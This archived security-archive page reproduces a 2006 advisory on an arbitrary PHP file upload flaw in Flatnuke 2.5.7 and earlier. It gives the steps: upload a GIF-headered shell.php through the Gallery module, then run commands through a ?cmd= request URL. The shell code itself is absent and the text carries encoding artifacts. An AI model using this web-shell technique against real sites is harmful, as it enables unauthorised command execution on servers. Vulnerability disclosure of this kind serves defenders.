Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: PHP :: b06-3585.htm

flatnuke <= 2.5.7 arbitrary php file upload



flatnuke <= 2.5.7 arbitrary php file upload
flatnuke <= 2.5.7 arbitrary php file upload



12/07/200619.11.54=0D
----- Flatnuke 2.5.7 arbitrary file upload / remote code execution -------------=0D
software:=0D
site: http://www.flatnuke.org/=0D 
--------------------------------------------------------------------------------=0D
=0D
if user Gallery uploads are enabled (not the default) you can go to:=0D
=0D
http://[target]/[path_to_flatnuke]/index.php?mod=Gallery=0D 
=0D
to upload a shell.php file, ex:=0D
=0D
GIF86=0D
=0D
file is renamed like this:=0D
=0D
shell_by_[username].php=0D
=0D
now you can launch commands, ex:=0D
=0D
http://[target]/[path]/sections/Gallery/shell_by_rgod.php?cmd=ls%20-la=0D 
=0D
--------------------------------------------------------------------------------=0D
rgod=0D
site: http://rgod.altervista.org=0D 
mail: rgod @ autistici.org=0D
--------------------------------------------------------------------------------=0D
=0D
original url: http://retrogod.altervista.org/flatnuke257_adv.html=0D 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH